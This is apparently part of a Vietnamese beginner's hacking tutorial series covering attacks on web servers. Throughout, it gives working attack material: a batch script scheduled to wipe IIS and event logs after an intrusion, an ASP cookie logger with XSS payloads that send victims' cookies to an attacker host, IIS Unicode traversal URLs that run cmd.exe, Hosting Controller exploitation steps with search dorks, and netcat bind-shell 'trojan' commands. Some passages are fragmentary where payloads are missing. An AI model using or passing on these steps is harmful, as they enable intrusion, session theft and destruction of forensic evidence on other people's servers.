kết quả nó sẽ xuất hiện link để ta xác định file log :

CODE
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles


He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau :

CODE
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat


+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :

CODE
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ


Nó sẽ cho kết quả như VD sau :

CODE
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
.

Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau :

CODE
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1


Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

CODE
C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746


+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.

( Tham khảo từ bài viết của seamoun )

51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :

_ Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
_ Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) :

CODE
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>


_ Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS

Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :


vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng nàyMột ví dụ khác thường gặp hơn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/?page= , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
_ Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :
http://sitebiloi.com/index.asp?page=
CODE
-----------------------------------------------------------
<HTML>
<TITLE> Hello all! </TITLE>
hello
"<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với

') + ') + '\x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'

Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .

+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào
CODE
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>


Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào :


</COMMENT>
<img src="http://none" onfiltered="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "></script>


lúc này đoạn lọc code ban đầu trở thành :

<COMMENT>
CODE
<!--
- -->
</COMMENT>
<img src="h*tp://none" onfiltered="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
</script>
</COMMENT>


và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .

( Dựa theo bài viết của Mask_NBTA )

52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :

_Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.

Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:

http://www.someserver.com/

Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:

C:\inetpub\wwwroot

Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau:

http://www.someserver.com/index.html

Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:

c:\inetpub\wwwroot\index.html

Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.

Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:

http://www.someserver.com/c:\

Chú thích Web server sẽ bắt đầu đi qua local của nó

c:\inetpub\wwwroot

Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau

http://www.someserver.com/../../

Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:

http://www.someserver.com/iis Unicode hole.txt

Trình duyệt sẽ thay thế khoảng trống bằng %20 :

http://www.someserver.com/iis%20unicode%20hole.txt

Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ

http://www.someserver.com/..%5C.. %5C/

và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.

CODE
ASCII................................. UNICODE
%........................................ %25
5.......................................... %35
C............................ .............%43


Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL.

Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.

Bắt đầu cmd.exe theo cách sau:

cmd.exe?/c+

? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống

Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:

http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/cmd.exe?/c+dir+c:\

Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?

_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:

CODE
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\ …….


( Một bài viết rất chất lượng của LeonHart bên www.whatvn.com )

53 . ) Kỹ thuật hack Hosting controller :

_Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :

+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .

Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn code :

CODE
http://www.victim.com/advwebadmin*hoac admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )

www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )


Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he .
_ Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây :

C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )

+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :

http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=Csmilie đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=Csmilie đường dẫn đến thư mục ta vừa upload file )

+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách đánh đường dẫn ở URL :

www.victim/admin[avdadmin]/a.html

+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong , .

----------------------------------------------------------------------------------------------

GOODLUCK!!!!!!!!!!!!!!!!!

( Hết phần 9 )

Xem Thêm

 

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 8



47 . ) Các công cụ cần thiết để hack Web :

_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) .
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run --> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .

48 . ) Hướng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\>nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:

CODE
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé :

CODE
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này>. Ví dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
